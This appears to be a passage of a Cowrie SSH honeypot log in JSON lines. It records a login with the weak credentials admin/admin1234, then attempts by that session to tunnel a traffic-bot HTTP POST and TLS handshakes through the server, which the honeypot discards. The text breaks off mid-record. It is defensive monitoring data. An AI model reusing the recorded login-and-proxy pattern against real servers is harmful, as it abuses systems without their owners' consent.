{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:17.398315Z","src_ip":"38.46.222.137","session":"2b4683215b34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:18.197044Z","src_ip":"41.90.100.147","session":"2043fa4ff346","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:23.540226Z","session":"2b4683215b34","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:23.591562Z","src_ip":"38.46.222.137","session":"2b4683215b34","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1202\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; A53 5G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1202\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; A53 5G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:23.594761Z","src_ip":"38.46.222.137","session":"2b4683215b34","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'_=Ym45WVZBRk5YakxsNkdDVQ%3D%3Dl0TxPBBYd%2BzrVMLq4fybnDr6Zd%2BvOXy49IaIPO7s7iGdqOIh16mifSuNaURDbePfGOuUK%2BtBWo%2F0oTAQoNuYNKq%2FEXWSrF1P1FePMHUcVxg8WtYRBHqqtqsnl6qYylzCfUFFCLErv%2F3JDCwEAlp4BqdIpxf3x4ClDOK55HjnEqZ4eGSMv%2FWU9uo8mW%2F8bwCRhSJDvPmNHgScDxxePDocPh0vEgdfHrfwgWcqT6U%2F%2BIjsRvr7u3bOTytgqq6okEszYkCVlGU3%2FtFW%2FNI0OCz%2B5B7GK0SMaXxUK0jvafNWgEAsOeHrIi06TOXxcEif8KvMMpoWjiQJXDvHydr1yN3BIUZzlmI023Xj5Z6z3%2F6rw16N0phn%2FYc9f6s1TzGrmwedDBMcKtD2l9trWrlJ7TyBP4iwy%2FO565W%2Foxc26xmD%2F%2Bg3NoMgi59MH8q%2FQgIZm7jfigWcgmGDmcTyfpJpqTtrfAoyHPdfqEQLPoFUD6aHXA3FFpoBvJrzJrju%2FfKzVoBaYDsnFZAEHrZpiuoLBDpqfAfy%2BzOxIS8buTh6aPh7lTt7h8K7NOTTNFnmQ%2FaESlmNiG2PvUWgHnQdtv%2BA%2B%2B4jLINUOFtGj4a5nD%2FuYeUy03X0HpYv1M9%2Foo%2BqArGScWTgs25wYG8eYnEivPXSgH2Wnr9XJeDDdI8b28okVWUqy%2BrIopdnAvFTmW7%2FJ8LUUqBNR0ayyK1GnrAJSNaw%2ByjimMtG8NY%2FVPfaL2XiRbPy6Jgh4WdeqT5Np%2ByXODNnTMTLcrlKrzhPLVMP9N%2FQY6Rvrqr723LCJODCEzcFYmVY6ANKCrRNuq3SX8quz6tyHeL8znowia7ybiqiY0PW%2B4wT6gcMfg8EVMbTq%2FEoesm%2B6x1QlEVGWFslbMfY7CE%2FcMMCINceEMAN1y7aAcyUjUzhk69sZSsyxuDzDCFfSRY8841mJQx%2FPIGrwDIQKi5reD7jWQUTT6t00Ey4q%2B8F6VgXDvE9HgpP6TpZmLlTtxRF6Ad6kXr5d02qUJl6GAt9v4LMDJhuR5TwZ3ro7njKTs1u8ZKRmhCpiSLbjMep1%2BpsKPIusIJm1px4mxcFIyikrbrc'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'_=Ym45WVZBRk5YakxsNkdDVQ%3D%3Dl0TxPBBYd%2BzrVMLq4fybnDr6Zd%2BvOXy49IaIPO7s7iGdqOIh16mifSuNaURDbePfGOuUK%2BtBWo%2F0oTAQoNuYNKq%2FEXWSrF1P1FePMHUcVxg8WtYRBHqqtqsnl6qYylzCfUFFCLErv%2F3JDCwEAlp4BqdIpxf3x4ClDOK55HjnEqZ4eGSMv%2FWU9uo8mW%2F8bwCRhSJDvPmNHgScDxxePDocPh0vEgdfHrfwgWcqT6U%2F%2BIjsRvr7u3bOTytgqq6okEszYkCVlGU3%2FtFW%2FNI0OCz%2B5B7GK0SMaXxUK0jvafNWgEAsOeHrIi06TOXxcEif8KvMMpoWjiQJXDvHydr1yN3BIUZzlmI023Xj5Z6z3%2F6rw16N0phn%2FYc9f6s1TzGrmwedDBMcKtD2l9trWrlJ7TyBP4iwy%2FO565W%2Foxc26xmD%2F%2Bg3NoMgi59MH8q%2FQgIZm7jfigWcgmGDmcTyfpJpqTtrfAoyHPdfqEQLPoFUD6aHXA3FFpoBvJrzJrju%2FfKzVoBaYDsnFZAEHrZpiuoLBDpqfAfy%2BzOxIS8buTh6aPh7lTt7h8K7NOTTNFnmQ%2FaESlmNiG2PvUWgHnQdtv%2BA%2B%2B4jLINUOFtGj4a5nD%2FuYeUy03X0HpYv1M9%2Foo%2BqArGScWTgs25wYG8eYnEivPXSgH2Wnr9XJeDDdI8b28okVWUqy%2BrIopdnAvFTmW7%2FJ8LUUqBNR0ayyK1GnrAJSNaw%2ByjimMtG8NY%2FVPfaL2XiRbPy6Jgh4WdeqT5Np%2ByXODNnTMTLcrlKrzhPLVMP9N%2FQY6Rvrqr723LCJODCEzcFYmVY6ANKCrRNuq3SX8quz6tyHeL8znowia7ybiqiY0PW%2B4wT6gcMfg8EVMbTq%2FEoesm%2B6x1QlEVGWFslbMfY7CE%2FcMMCINceEMAN1y7aAcyUjUzhk69sZSsyxuDzDCFfSRY8841mJQx%2FPIGrwDIQKi5reD7jWQUTT6t00Ey4q%2B8F6VgXDvE9HgpP6TpZmLlTtxRF6Ad6kXr5d02qUJl6GAt9v4LMDJhuR5TwZ3ro7njKTs1u8ZKRmhCpiSLbjMep1%2BpsKPIusIJm1px4mxcFIyikrbrc'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:23.599590Z","src_ip":"38.46.222.137","session":"2b4683215b34","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:24.709383Z","session":"2b4683215b34","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:24.761870Z","src_ip":"38.46.222.137","session":"2b4683215b34","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03@cgw\\xdaysq\\x15Y\\x04>\\x99iM>t*'\\x8d`\\xe6\\xe3\\x88\\x17\\t\\xec\\x0c\\xddw\\xd5. \\xc6\\x96e\\x9a\\xb6*\\xb1\\x06\\xcf\\x0e\\x19\\xf5\\xdf\\xcf\\xea\\x06g$C\\x015`\\xa9\\xeb\\xb5\\x82\\xe3,\\xfdD\\x0e!\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd0d\\x9c\\x1b\\x13\\xf1A\\xc1\\xe7\\xaa\\xf0\\xd3\\x0c\\xb9\\x10\\x83e\\xd6\\x0cm\\xb33\\t\\xc9A\\x13l+)V\\xcc\\x1d\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03@cgw\\xdaysq\\x15Y\\x04>\\x99iM>t*'\\x8d`\\xe6\\xe3\\x88\\x17\\t\\xec\\x0c\\xddw\\xd5. \\xc6\\x96e\\x9a\\xb6*\\xb1\\x06\\xcf\\x0e\\x19\\xf5\\xdf\\xcf\\xea\\x06g$C\\x015`\\xa9\\xeb\\xb5\\x82\\xe3,\\xfdD\\x0e!\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd0d\\x9c\\x1b\\x13\\xf1A\\xc1\\xe7\\xaa\\xf0\\xd3\\x0c\\xb9\\x10\\x83e\\xd6\\x0cm\\xb33\\t\\xc9A\\x13l+)V\\xcc\\x1d\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:24.765124Z","src_ip":"38.46.222.137","session":"2b4683215b34","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:25.332295Z","session":"2b4683215b34","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:25.338395Z","session":"2b4683215b34","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:25.462225Z","src_ip":"38.46.222.137","session":"2b4683215b34","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x01>\\xd8\\x0f%(|B\\x14(a\\xa8\\xc5D{p\\x15HX\\x9cvQ\\xe7\\xcd\\xb0~=,\\x89\\xa3$\\xe5 \\xcb\\xa1E\\xe7\\xa9\\t\\x92\\xa3\\xf1s&\\xde\\xde:\\xc6Y1_\\xf9\\xb8\\xd9 N-\\xde\\xf2\\x12\\xb9\\x1f\\xc7\\xe2\\x0c\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 Y0\\xeby\\xe3\\x87\\x82\\x89\\x8d\\xd6h\\x8c\\xee\\xee\\x98\\xdaS\\xd8\\x89\\xe8\\xb3=$,_&\\x05\\xa8\\xe6\\x11cM\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x01>\\xd8\\x0f%(|B\\x14(a\\xa8\\xc5D{p\\x15HX\\x9cvQ\\xe7\\xcd\\xb0~=,\\x89\\xa3$\\xe5 \\xcb\\xa1E\\xe7\\xa9\\t\\x92\\xa3\\xf1s&\\xde\\xde:\\xc6Y1_\\xf9\\xb8\\xd9 N-\\xde\\xf2\\x12\\xb9\\x1f\\xc7\\xe2\\x0c\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 Y0\\xeby\\xe3\\x87\\x82\\x89\\x8d\\xd6h\\x8c\\xee\\xee\\x98\\xdaS\\xd8\\x89\\xe8\\xb3=$,_&\\x05\\xa8\\xe6\\x11cM\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:25.465634Z","src_ip":"38.46.222.137","session":"2b4683215b34","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:25.470831Z","src_ip":"38.46.222.137","session":"2b4683215b34","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x03R\\xbc\\xec\\x7f\\xefL\\x9b \\x95_.\\xa2\\xf1\\xd6\\x17\\xcf\\'\\x0er\\xd4\\xd8\\'\\x16%\\x08\\xb8\\x02\\xef\\xb7\\xde\\xff A\\xb0\\xfd\\xa3\\xb2[#\\xf5\\xf7\\x012\\x03\\xfeB*\\xc3\\x8e\\xee\\xbeJ6_\\x85\\xfb_\\xd3V\\xe9V\\xacD_\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\x94\\xb4\\xcc\\x91\\xa7pa\\xce\\xebE1?w5\\xa4\\x1ei-\\xa3\\xcfu\\x9e\\xae\\x16\\xaa\\xdd\\x0f\\x11\"/#p\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\